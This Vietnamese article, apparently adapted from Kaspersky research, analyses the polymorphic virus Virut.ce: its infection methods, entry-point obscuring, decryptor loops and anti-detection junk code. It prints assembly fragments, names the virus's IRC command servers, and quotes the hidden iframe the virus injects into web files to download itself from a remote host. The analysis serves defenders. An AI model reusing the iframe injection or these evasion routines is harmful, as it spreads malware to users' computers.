Tổng quan về mẫu malware Virus.Win32.Virut.ce

QuanTriMang.com - Trong bài viết sau, Quản Trị Mạng sẽ giới thiệu với các bạn về 1 số loại virus đa hình – ở đây là Virus.Win32.Virut và các biến thể dạng ce của nó.

Tại sao lại gọi là Virut.ce?

Virut.ce hiện đang là 1 trong những mẫu malware có sức lây lan rộng nhất trên các loại máy tính cá nhân. Nó lây nhiễm đến tất cả các file thực thi (đuôi *.exe trong môi trường Windows) sử dụng những công nghệ tinh vi nhất để trốn tránh khỏi các phần mềm bảo mật. Cách thức lây lan của chúng chủ yếu qua các mô hình máy chủ đa hình, khắc hẳn so với khoảng thời gian 5 năm trước đây. 1 phần nữa là do việc sử dụng và xây dựng các dữ liệu mô phỏng cũng tăng mạnh. Mặt khác, “công nghệ” được áp dụng vào các mẫu Virut.ce phản ánh khá chính xác về mức độ tinh vi và kỹ thuật của những phương pháp được sử dụng để tạo ra malware. Các công cụ chống lại quá trình mô phỏng và phân tích dữ liệu được áp dụng rộng rãi, ví dụ như việc “đếm” các bộ đồng hóa hàm công thức nhận được khi sử dụng các chỉ dẫn về rdtsc nhiều tầng lớp, và hàng loạt chức năng “gọi” GetTickCount API hoặc quá trình “gọi” các hàm API giả mạo khác....

Virut – là 1 trong những dạng virus có khả năng lây lan nhanh và mạnh nhất, với tần suất xuất hiện trung bình 1 biến thể mới trong vòng 1 tuần. Điều này một lần nữa khẳng định về khả năng của những kẻ đứng đằng sau và trực tiếp tạo ra các dạng virus – đang tiến gần hơn trong việc tiếp cận và điều khiển cơ sở dữ liệu của các chương trình antivirus, vì vậy chúng có thể dễ dàng thực hiện các hành động cảnh báo và lẩn trốn mỗi khi có phiên bản nhận dạng virus được cập nhật. Ngay khi quá trình cập nhật và nhận diện được áp dụng cho các chương trình diệt virus, “tác giả” của những mẫu virus đó sẽ thay đổi hành vi và khả năng ngụy trang cho chúng để tiếp tục gây khó khăn cho các chuyên gia bảo mật. Nhưng thật thú vị rằng các chương trình độc hại này luôn luôn có sự đảm bảo và chắc chắn rằng những phiên bản mới nhất luôn được tải về máy tính của nạn nhân thông qua các lỗ hổng từ trình duyệt dưới dạng HTML.

Trong đoạn tiếp theo, bài viết sẽ miêu tả kỹ hơn về các cách thức được sử dụng để virus lây nhiễm vào 1 file hệ thống bất kỳ, các quá trình hình thành và phát triển tương ứng từng thành phần của virus được kiểm tra, liệt kê từ khi chúng mới xuất hiện cho đến nay. Tất cả các số liệu được thu thập và sử dụng công nghệ từ Kaspersky Security Network (KSN), thuộc quyền sở hữu của Kaspersky Lab.

Mô tả ngắn gọn về các số liệu thống kê và mức độ lây lan

Biến thể đầu tiên của Virut với tên gọi là Virut.a đã xuất hiện trở lại vào khoảng giữa năm 2006. Kể từ thời điểm đó, chúng đã có được những bước tiến vững chắc trong quá trình phát triển, đã có tới biến thể Virut.q xuất hiện vài lần vào khoảng tháng 09 / 2007.

Tại thời điểm đó, sự xuất hiện của Virut.q khá phổ biến, nhưng ngày nay thì rất hiếm gặp. Đơn giản vì tin tặc đã ngừng hẳn hỗ trợ cho mẫu virus này từ nửa cuối năm 2008, nhưng chỉ sau đó 1 thời gian ngắn – cụ thể là tuần đầu tiên của tháng 02 / 2009, một biến thể mới đã xuất hiện với tên gọi là Virut.ce. Các chuyên gia nhận định rằng giới tin tặc đã sử dụng khoảng thời gian nghỉ trước đó để nghiên cứu, hoàn thiện các kỹ thuật lây nhiễm, khả năng che giấu bản thân và các thuật toán mã hóa mới. Kể từ đây, nhưng thuật ngữ được sử dụng trong phần còn lại của bài viết như Virut, virus… để nói đến mẫu Virus.Win32.Virut.ce.

Tính cho đến thời điểm này, dòng Virut.ce là biến thể phổ biến thứ 2 chỉ sau các phiên bản của Virus.Win32.*.* được phát hiện trên tổng số các máy tính bị lây nhiễm của người sử dụng:

Số liệu thống kê của Kaspersky Lab vể 20 mẫu virus được phát hiện nhiều nhất từ tháng 01/2009 đến tháng 05/2010

Khi nhìn vào số liệu dưới đây, mọi người có thể dễ dàng hình dung được mức độ tiến triển và lây lan mạnh mẽ của Virut.ce tăng lên theo thời gian:

Số lượng máy tính bị lây nhiễm bởi Virut.ce trong cùng thời gian từ tháng
05/2009 đến 05/2010

Cách thức lây nhiễm của mẫu virus này chủ yếu qua file thực thi *.exe và HTML, hoặc những chương trình crack phần mềm, nhưng chúng ta vẫn thường gọi là keygen và những file đã được crack sẵn. Cụ thể hơn, chúng thường xuyên ẩn mình trong file crack dạng RAR/SFX với tên gọi như codename_panzers_cold_war_key.exe hoặc advanced_archive_password_recovery_4.53_key.exe.

Các chức năng chính của Virut

Tiếp theo, chúng ta sẽ đi đến phần chức năng quan trọng nhất – quá trình payload (hiểu nôm na là việc thực hiện các hành vi lấy cắp dữ liệu có liên quan đến mục đích tài chính từ người sử dụng bị lây nhiễm) của virut. Đây là phần rất dễ nhận biết, vì nó được tạo ra và sử dụng của bất kỳ mẫu virut nào mà không có ngoại lệ. Rất hiệu quả, thông thường nó sẽ cấy 1 chương trình backdoor trước tiên để xâm nhập vào vùng hoạt động của tiến trình explorer.exe (ví dụ như services.exe hoặc iexplore.exe), sau đó thực hiện các kết nối tới địa chỉ irc.zief.pl và proxim.ircgalaxy.pl thông qua giao thức IRC và chờ đợi các câu lệnh, tín hiệu phản hồi. Những thủ tục này có thể dễ dàng được phát hiện bởi các chương trình an ninh phổ biến hiện nay như nod32, rising, f-secure…:

Hình ảnh biểu diễn quá trình giải mã phần body tĩnh của Virut.ce bao gồm tên ứng dụng bị khóa bởi virus

Trên thực tế, các mẫu virus lây nhiễm vào file *.htm, *.php và *.asp được lưu trữ ngay bên trong các ngõ ngách của máy tính. Để làm điều này, chúng đã tự thêm các dòng lệnh sau vào mã cơ bản: <iframe src = http://jl.*****.pl/rc/ style = ‘display:none’></iframe>. Câu lệnh này sẽ tự động tải phiên bản mới nhất của virut về máy tính thông qua lỗ hổng của file định dạng PDF. Những dòng này sẽ thay đổi tùy theo các phiên bản tương ứng của biến thể ce. Ví dụ, ký tự u có thể được thay thế bởi &#117, có thể không ảnh hưởng tới trình duyệt nhưng sẽ bảo vệ quá trình nhận diện khi chúng hoạt động.

Thảo luận chung và các phương thức lây nhiễm

Về bản chất, Virut.ce sử dụng công nghệ EPO hoặc ghi đè lên các điểm entry để tiến hành lây nhiễm, đồng thời, 1 hoặc 2 công cụ giải mã được sử dụng kèm trong quá trình trên. Công nghệ Entry Point Obscuring (EPO) hoạt động dựa trên khả năng chống lại sự nhận diện. Thông thường, quá trình này được thực hiện bằng cách thay thế những chỉ dẫn ngẫu nhiên trong toàn bộ mã nguồn chính của chương trình và các tham số đi kèm. Bên dưới đây là ví dụ về quá trình thay thế các chỉ dẫn và địa chỉ làm việc:

Cụm từ rewriting the entry point – dịch nôm na là quá trình ghi đè các điểm entry, ngụ ý đến việc sửa đổi các dữ liệu PE header của file đang bị lây nhiễm, đặc biệt là việc ghi đè lên trường dữ liệu AddressOfEntryPoint trong cấu trúc IMAGE_NT_HEADERS32. Do đó, file thực thi sẽ trực tiếp khởi động và kích hoạt các thành phần chính của virus. Như đã thảo luận bên trên, các mẫu virus chỉ sử dụng 1 hoặc 2 công cụ giải mã chính trong quá trình lây nhiễm – có thể tạm gọi là Init và Main. Công cụ giải mã Main được xác định trong từng file bị tác động bởi Virut.ce, trong khi phần Init chỉ thỉnh thoảng hoạt động.

Mục đích chính của phần Init là xác định và giải mã lớp dữ liệu đầu tiên trong phần thân của virus theo đúng quy trình để giao cơ chế tự điều khiển và kích hoạt cho nó. Tuy nhiên, các thành phần còn lại vẫn được giữ nguyên ngay cả khi quá trình giải mã xảy ra và kết thúc. Toàn bộ công cụ giải mã Init là 1 mảnh nhỏ trong đoạn mã từ 0x100 đến 0x900 byte, trong đó có chứa rất nhiều các thông tin chỉ dẫn sai mục đích nhằm tranh khỏi sự nhận diện của các chương trình bảo mật. Tóm tắt lại quá trình biên dịch, giải mã này có thể bao gồm trong 4 bước chính sau:

- Khởi tạo và ghi kích cỡ của các section đã được giải mã tới chương trình quản lý register
- Thực hiện các toán tử theo logic để tiếp tục mã hóa các section với hằng số key không thay đổi
- Tăng / giảm số lượng pointer trỏ tới các section đã mã hóa
- Quay ngược trở lại bước 2 cho tới khi tất cả mọi dữ liệu được giải mã

Thông thường, phần body chính của virus sẽ có kích thước trong khoảng 0x4000 tới 0x6000 byte, và được xác định tại phía cuối của section cuối cùng, được xác định rõ ràng bằng thuộc tính truy cập, thực thi và khả năng ghi / đọc của dữ liệu.

Hoặc theo cách khác, chúng ta có thể hình dung quá trình trên theo sơ đồ sau:

- Quá trình Init Decryptor và EPO:

- Init Decryptor và chỉnh sửa EP:

- Riêng quá trình EPO:

- Quá trình viết lại các entry point:

Đoạn giải mã chính của phần thân virus Virut.ce

Trước khi đi vào phần chính thảo luận về phương thức payload của virus, chúng ta hãy cùng nhìn vào công cụ giải mã Init trong 1 file đã bị lây nhiễm:

1 phần của file đã bị lây nhiễm bởi Virus.Win32.Virut.ce với Init decryptor

Đoạn mã disassembled của Init decryptor

Hình ảnh đầu tiên chỉ ra các phần mã đã bị lây nhiễm của file calc.exe. Phần ngoài rìa của các section mã được đánh dấu, đồng thời phần Init decryptor cũng được đánh dấu. Hình ảnh bên dưới hiển thị các đoạn mã disassembled của công cụ giải mã Init. 4 phương thức được đề cập bên trên được khoanh trong hình oval đỏ.

Trong ví dụ này, trình quản lý đăng ký ECX được lấp đầy bởi các hành động push / pop liên tục và được giải mã bởi adc. Tuy nhiên, các quá trình này không phải lúc nào cũng giống nhau. Virut.ce đã phát triển rất nhanh trong năm qua, bằng chứng là chúng đã tích hợp được công nghệ giải mã Init một cách dễ dàng. Nếu thông tin của phần body virus ghi vào trong registry được chỉnh sửa 1 lần (mov reg, dword chuyển thành push dword; pop reg) thì các thủ tục để giải mã cũng thay đổi nhiều hơn 1 lần (sắp xếp theo thứ tự):

- ADD/SUB [mem], dword;
- ROL/ROR [mem], byte;
- ADC/SBB [mem], byte;
- ADD/SUB [mem], byte;
- ADD/SUB [mem], word;
- ADC/SBB [mem], word;
- ADC/SBB [mem], dword;

Khôi phục lại đoạn mã ban đầu

Về mặt lý thuyết, toàn bộ mã nguồn của phần body chính có thể được chia ra làm 3 nhóm, theo nhiệm vụ chính sau: quá trình khôi phục lại từ các điểm function / entry, quá trình giải mã của body theo dạng tĩnh, và tính thực thi của quá trình payload.

Trước khi tiến hành xem xét cặn kẽ từng thành phần, hãy xem qua tổng thể toàn bộ phần body của virus và các phần có liên quan:

Cấu trúc tổng thể phần body chính của Virut.ce

Như trên hình đã chỉ ra, chúng ta có thể thấy rằng phần body chính được ghép tới tận cuối của mã sectin cuối cùng và tạo thành 2 phần: bộ phận giải mã phần body tĩnh và bộ phận thực thi mã. Phần đảm nhiệm dịch vụ thực thi chứa các đoạn mã nhằm thực thi các chế độ chống lại việc mô phỏng, khôi phục tham số entry point gốc, và cơ chế giải mã toàn bộ phần body tĩnh. Những phần này nằm rải rác trên toàn bộ thân hoặc có thể cố định tại phần đầu hoặc cuối, hoặc được chia làm 2. Cũng thật may mắn rằng phần có thể thực thi được che phủ khá kỹ càng. Điều này sẽ làm cho việc phát hiện hoặc nhận dạng trở nên phức tạp hơn rất nhiều:

Đoạn mã có chứa thành phần chính của Virus.Win32.Virut.ce

Hình ảnh trên miêu tả các đoạn mã có chứa thành phần chính của 1 file bất kỳ bị lây nhiễm bởi Virus.Win32.Virut.ce. Phần được khoanh vùng với dấu oval đỏ là phần đảm nhận nhiệm vụ thực thi, hoặc cũng có thể dễ dàng nhận ra bởi tại đây có rất nhiều các ký tự byte rỗng. Và trong phần này, virus chưa vội vàng sử dụng cơ chế giải mã trong quá trình lây nhiễm, tất cả các section đều trông có vẻ giống nhau và được mã hóa cùng nhau.

Tiếp theo, cùng nhìn vào các khối dữ liệu chuyên dùng để khôi phục lại phần nguyên bản của dữ liệu. Quá trình logic này có thể được phân chia theo các bước sau:

- Thực hiện thủ tục CALL (các địa chỉ cố định với độ sai lệch nhỏ)
- Khôi phục lại nội dung ban đầu của dữ liệu với trình quản lý register
- Thêm các địa chỉ cụ thể để trỏ tới nhân kernel32.dll và EBX register
- Tính toán số lượng pointer tới các địa chỉ của các thủ tục gọi hàm CALL ở bước 1
- Tiếp tục thực hiện các toán tử trên địa chỉ được gọi ra từ bước 4

Lưu ý thêm rằng virus sử dụng công nghệ EPO chỉ khi nó nhận ra rằng các hàm API-function đang được gọi ra từ kernel32.dll. Thủ tục gọi hàm này có thể được nhận diện thông qua các “cuộc gọi” từ mã vận hành 0x15FF hoặc 0xE8, với các chỉ dẫn JMP tiếp theo (0x25FF). Nếu bất cứ hàm nào được nhận diện là sẽ được thay thế bởi JMP (0xE9) chỉ dẫn tới biểu đồ 1 (hình trên), sau đó địa chỉ của hàm được thay thế từ kernel32.dll trong trình quản lý EBX register. Nếu các entry point vừa được sửa lại, thì các giá trị tại địa chỉ [ESP + 24] được thay thế trong EBX register – đây là địa chỉ của ứng dụng được chỉ định quay lại nhân hệ thống kernel32.dll. Tiếp theo sau đó, các giá trị được lưu trữ trong register sẽ được dùng để ghi lại cac địa chỉ khi hệ thống xuất ra các hành động tương ứng của DLL. Nếu công nghệ EPO được áp dụng thì giá trị tại địa chỉ [ESP + 20] sẽ lưu giữ nhiều thông tin của các hàm được gọi ra tương ứng với API-function, mặt khác, tại đây còn lưu trữ địa chỉ của entry point nguyên bản.

Nếu quá trình obfuscation được loại trừ, thì cách đơn giản nhất để khôi phục lại các entry point và các hàm khác sẽ như sau (trong trường hợp GetModuleHandleA đã được thay thế):

CALL $ + 5
PUSHAD
MOV EBX, [GetModuleHandleA]
XOR [ESP + 20h], Key

Đoạn mã này hoàn toàn phù hợp với logic chung của toàn bộ khối dữ liệu. Tiếp theo, hãy cùng xem chúng thay đổi qua các giai đoạn khác nhau như thế nào.

Giai đoạn đầu tiên – CALL, không thay đổi nhiều lắm qua các giai đoạn. Về bản chất, nó trông giống như CALL $ + 5, sau đó là CALL $ + 6(7,8), và tiếp tục là CALL $ + 0xFFFFFFFx … với cơ chế giống những hàm gọi ngược. Có thể cho rằng quá trình hoạt động này không mấy quan trọng, và đối với những trường hợp nhất định sẽ áp dụng cơ chế loại bỏ, nhưng sự thực không phải như vậy. Thực chất, địa chỉ này được sử dụng để lưu trữ các hàm entry point/original cũng như khi trỏ tới địa chỉ của các key giải mã và là quá trình bắt đầu của các đoạn mã static.

Tiếp theo là bước 3, thường xuyên thay đổi và chỉnh sửa nhiều hơn so với bước 1, nếu xem xét kỹ hơn nữa thì chúng ta có thể tiếp tục phân chia ra các cách khác nhau:

- MOV EBX, [ApiFunc]/MOV EBX, [ESP + 24h];
- PUSH [ApiFunc]/[ESP + 24h]; POP EBX;
- SUB ESP, xxh; PUSH [ESP + 24h + xx]; POP EBX;
- LEA EBX, [ESP + xxh]; MOV EBX, [EBX + 24h - xx];
- ADD ESP, 28h; XCHG [ESP – 4], EBX;

Danh sách ví dụ trên có thể giúp chúng ta hình dung dễ hơn về giai đoạn này phát triển theo thời gian như thế nào. Bên cạnh đó, còn có các tác động trung gian của trình quản lý register ESP và EBX.

Sau khi hàm PUSHAD được gọi ra, trình quản lý ESP register – được chỉ định trỏ tới các stack – sẽ được giảm bằng giá trị 0x20, sau đó ESP + 20h sẽ chuyển sang lưu trữ giá trị được cung cấp bởi hàm CALL được gọi ra cuối cùng. Một toán tử hoạt động hợp lý sẽ được áp dụng vào giá trị này và yêu cầu thêm các con số được thu thập.

Dưới đây là 1 số trình tự hoạt động theo trật tự mô tả các hành động bên trên:

- XOR/AND/OR/ADD/SUB [ESP + 20h], const;
- MOV [ESP + 20h], const;
- LEA EBP, [ESP + x]; MOV/OR/ADD/SUB/XOR EBP, const; XCHG [EBX + 20h – x], EBP;
- MOV EBX, ESP; PUSH const; POP [EBX + 20h];
- PUSH const; POP [ESP + 20h].

Ảnh chụp màn hình file bị lây nhiễm bởi Virus.Win32.Virut.ce, với các đoạn mã đảm nhiệm chức năng khôi phục tới các entry point gốc được đánh dấu hình oval đỏ

Để phân biệt rõ ràng hơn, toàn bộ các đoạn mã ví dụ trên đều không bao gồm quá trình obfuscation. Tuy nhiên, giai đoạn đó lại được sử dụng trong tất cả các section của file đã được ghép thêm vào bởi virus, có bao gồm trình giải mã Init và toàn bộ phần mã thực thi trong phần body chính. Và quá trình này hoàn toàn ngăn chặn các dấu hiệu nhận dạng virus từ các chương trình an ninh bảo mật, bằng cách thay đổi toàn bộ bề ngoài của mã dữ liệu mà không làm ảnh hưởng đến hoạt động chung. Dưới đây là 1 số ví dụ cụ thể, trong đó chúng được sử dụng để che giấu quá trình nhận dạng mà không ảnh hưởng đến các hoạt động chức năng:

- XCHG reg1, reg2; XCHG reg2, reg1; (được sử dụng cùng nhau)
- SUB reg1, reg2; ADD reg1, reg2; (sử dụng cùng nhau)
- MOV reg, reg; OR reg, reg; AND reg, reg; XCHG reg, reg; LEA reg, [REG];
- CLD, CLC, STC, CMC, etc.

Trong đó, ‘reg1’ và ‘reg2’ đại diện cho các trình đăng ký – register khác nhau, còn ‘reg’ để chỉ quá trình register giống nhau trong cùng 1 biểu thức đơn.

Các toán tử logic đi liền với toán tử hạng hai tùy biến.

Ngoài ra còn có ADC reg, const; SBB reg, const; XOR reg, const …

Các thành phần của quá trình obfuscation được đánh dấu bằng hình oval đỏ

Hình bên trái chỉ ra rất rõ rằng các chỉ dẫn theo kiểu junk chiếm tới 70 - 80% toàn bộ mã của file dữ liệu.

Giải mã phần body chính

Bộ phận đảm nhiệm khả năng thực thi trong các đoạn code được giải mã, sẽ khởi động sau khi virus hoàn tất các hoạt động ban đầu của nó như việc khôi phục mã gốc, khởi tạo tên đối tượng và lưu trữ địa chỉ của các hàm tương ứng được sử dụng trực tiếp từ thư viện hệ thống DLLs và anti-cycle.

Nếu quá trình giải mã Main được xem là 1 phần hoặc 1 bộ phận phân tách riêng biệt, thì toàn bộ mã sinh ra bởi tiến trình này hoàn toàn vô nghĩa, ví dụ như chỉ dẫn RETN được gọi ra để quản lý, điều khiển việc thay đổi vị trí 1 cách ngẫu nhiên. Trước khi quá trình giải mã chính thức diễn ra, RETN (0C3h) sẽ được thay thế bởi hàm CALL (0E8h). Chúng ta có thể hình dung quá trình này như sau:

ADD/SUB/XOR [EBP + xx], bytereg

Theo đó, EBP sẽ được trỏ tới địa chỉ của hàm CALL, và bytereg chỉ là 1 trong số những giá trị byte đã được đăng ký.

Do vậy, chúng ta có thể cho rằng chu trình bắt đầu thực sự sau khi quá trình giải mã RETN sẽ được thay đổi thành CALL. Theo đúng trình tự là quá trình obfuscated – phần còn lại của body của virus. Không chỉ sử dụng số lượng lớn các thuật toán, và nhiều trong số này thực sự phức tạp hơn rất nhiều so với phần còn lại với trình giải mã Init. Thông thường, sẽ có từ giữa 2 đến 6 các thuật toán được dùng để kết hợp. Và trong các thuật toán này, trình quản lý đăng ký EDX chứa key giải mã, và với EAX chứa toàn bộ địa chỉ ảo nơi bắt đầu của static body. Các ứng dụng quản lý register chứa đựng các chỉ dẫn của hàm tương ứng có thể giống như sau:

MOVZX/MOV dx/edx, [ebp + const] LEA eax, [ebp + const]

Các thuật toán được sử dụng chủ yếu như trong ví dụ dưới đây:

ROL DX, 4
XOR [EAX], DL
IMUL EDX, EDX, 13h

ADD [EAX], DL
ROL DX, 5
IMUL EDX, 13h

XOR [EAX], DH
ADD [EAX], DL
XCHG DH, DL
IMUL EDX, 1Fh

XOR [EAX], DH
XCHG DH, DL
ADD [EAX], DH
IMUL EDX, 1Fh

XOR [EAX], DL
ADD [EAX], DH
IMUL EDX, 2Bh
XCHG DH, DL

Đương nhiên, những chỉ dẫn được sử dụng này sẽ thay đổi theo thời gian.

Một phần đoạn mã được tách rời ra từ trình giải mã Main

Để tiếp tục thảo luận về quá trình thực thi file dữ liệu đã bị lây nhiễm, chúng ta hãy chuyển sang phần thực hiện quá trình payload với những đoạn mã bên trong phần static body. Thông thường, quá trình này sẽ khởi động bằng hướng dẫn CALL, trước tiên là để tính toán và xác định các địa chỉ ảo, và sau đó sẽ được ứng dụng vào việc đặt địa chỉ thực.

Phần static body của virus sau khi được giải mã

Các dòng được đánh dấu bằng hình oval đỏ chỉ ra các phần thực hiện cơ chế payload rất rõ ràng của virus. Ví dụ: ‘JOIN’ và ‘NICK’ là các dòng lệnh IRC, ‘irc.zief.pl’ và ‘proxim.ircgalaxy.pl’ là các IRC server remote mà virus thực hiện các thao tác liên lạc qua lại, ‘SYSTEM\CurrentControlSet\ Services\SharedAccess\ Parameters\FirewallPolicy\ StandardProfile\AuthorizedApplications\ List’ là khóa registry chứa thông tin về các chương trình đáng tin cậy của Windows firewall.

Kết luận

Có thể nói, Virut.ce có cơ chế lây nhiễm khá đa dạng và nguy hiểm, với các công nghệ kỹ thuật đa hình và obfuscation. Tuy nhiên, cơ chế payload của nó khá phức tạp và không thể coi thường được. Và mẫu virus có thể được xem là sự kết hợp thành công nhất các công nghệ và kỹ thuật độc hại, được tin tặc tạo ra mẫu malware này. Bên cạnh đó, có 1 số mẫu chương trình độc hại ứng dụng kỹ thuật obfuscated vào những mục đích khác nhau, bao gồm công nghệ chống lại cơ chế xây dựng và mô phỏng hành động… nhưng Virut.ce là 1 bản sao hoàn hảo nhất của các tính năng trên. Có thể nói rằng, đây không phải là 1 bài viết chi tiết và đầy đủ về mẫu Virut.ce. Cho đến tháng 04 / 2010 này, vẫn chưa có biến thể mới nào của Virut.ce bị phát hiện, điều này không có nghĩa rằng quá trình tiến hóa của nó đã dừng lại. Mặt khác, tính cho tới thời điểm này tất cả các sản phẩm của Kaspersky Lab đều có khả năng phát hiện và tiêu diệt Virus.Win32.Virut.ce, ngay cả khi có biến thể mới của nó xuất hiện.